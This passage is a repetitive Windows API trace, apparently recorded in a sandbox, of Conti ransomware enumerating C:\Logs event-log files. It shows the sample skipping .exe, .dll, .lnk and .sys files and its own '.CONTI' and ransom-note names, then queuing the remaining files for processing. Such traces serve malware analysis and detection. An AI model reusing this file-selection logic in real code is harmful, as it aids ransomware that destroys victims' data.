	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".exe") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".dll") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".lnk") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".sys") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch=".CONTI") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.304] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.304] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49
	[0096.304] GetProcessHeap () returned 0x1720000
	[0096.304] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17e4158
	[0096.304] lstrcpyW (in: lpString1=0x17e4158, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.304] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.304] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx"
	[0096.304] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17da1c8) returned 1
	[0096.304] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1
	[0096.304] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpString2=".") returned 1
	[0096.304] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpString2="..") returned 1
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0096.304] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.304] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.304] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66
	[0096.304] GetProcessHeap () returned 0x1720000
	[0096.304] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x1740330
	[0096.304] lstrcpyW (in: lpString1=0x1740330, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.304] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.304] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx"
	[0096.305] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d6430) returned 1
	[0096.305] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1
	[0096.305] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpString2=".") returned 1
	[0096.305] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpString2="..") returned 1
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.305] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.305] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72
	[0096.305] GetProcessHeap () returned 0x1720000
	[0096.305] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa2) returned 0x17e5bc8
	[0096.305] lstrcpyW (in: lpString1=0x17e5bc8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.305] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.305] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx"
	[0096.305] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d6b08) returned 1
	[0096.305] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1
	[0096.305] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpString2=".") returned 1
	[0096.305] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpString2="..") returned 1
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0096.305] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.306] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.306] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70
	[0096.306] GetProcessHeap () returned 0x1720000
	[0096.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ed50
	[0096.306] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.306] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.306] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx"
	[0096.306] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4578) returned 1
	[0096.306] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1
	[0096.306] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpString2=".") returned 1
	[0096.306] lstrcmpiW (lpString1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpString2="..") returned 1
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.306] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.306] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76
	[0096.306] GetProcessHeap () returned 0x1720000
	[0096.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xaa) returned 0x17c61b0
	[0096.306] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.306] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.306] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx"
	[0096.306] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e8d78) returned 1
	[0096.306] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1
	[0096.306] lstrcmpiW (lpString1="Microsoft-Windows-TWinUI%4Operational.evtx", lpString2=".") returned 1
	[0096.306] lstrcmpiW (lpString1="Microsoft-Windows-TWinUI%4Operational.evtx", lpString2="..") returned 1
	[0096.306] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-TWinUI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.307] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.307] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42
	[0096.307] GetProcessHeap () returned 0x1720000
	[0096.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740dc0
	[0096.307] lstrcpyW (in: lpString1=0x1740dc0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.307] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.307] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-TWinUI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx"
	[0096.307] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9d70) returned 1
	[0096.307] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1
	[0096.307] lstrcmpiW (lpString1="Microsoft-Windows-User Profile Service%4Operational.evtx", lpString2=".") returned 1
	[0096.307] lstrcmpiW (lpString1="Microsoft-Windows-User Profile Service%4Operational.evtx", lpString2="..") returned 1
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.307] StrStrIW (lpFirst="Microsoft-Windows-User Profile Service%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.307] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.307] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56
	[0096.307] GetProcessHeap () returned 0x1720000
	[0096.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x1733930
	[0096.307] lstrcpyW (in: lpString1=0x1733930, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.307] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.307] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-User Profile Service%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx"
	[0096.308] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7460) returned 1
	[0096.308] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1
	[0096.308] lstrcmpiW (lpString1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpString2=".") returned 1
	[0096.308] lstrcmpiW (lpString1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpString2="..") returned 1
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".CONTI") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".exe") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".dll") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".lnk") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".sys") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch=".CONTI") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.308] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.308] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44
	[0096.308] GetProcessHeap () returned 0x1720000
	[0096.308] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x17d13d0
	[0096.308] lstrcpyW (in: lpString1=0x17d13d0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.308] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.308] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx"
	[0096.308] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9208) returned 1
	[0096.308] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1
	[0096.308] lstrcmpiW (lpString1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpString2=".") returned 1
	[0096.308] lstrcmpiW (lpString1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpString2="..") returned 1
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".CONTI") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".exe") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".dll") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".lnk") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".sys") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch=".CONTI") returned 0x0
	[0096.308] StrStrIW (lpFirst="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.308] lstrlenW (lpString="C:\\Logs") returned 7
	[0096.309] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45
	[0096.309] GetProcessHeap () returned 0x1720000
	[0096.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17d1790
	[0096.309] lstrcpyW (in: lpString1=0x17d1790, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0096.309] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0096.309] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx"
	[0096.309] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9450) returned 1
	[0096.309] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1
	[0096.309] lstrcmpiW (lpString1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpString2=".") returned 1
	[0096.309] lstrcmpiW (lpString1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpString2="..") returned 1
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0096.309] StrStrIW (lpFirst="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0096.309] lstrlenW (lpString="C:\\Logs") returned 7
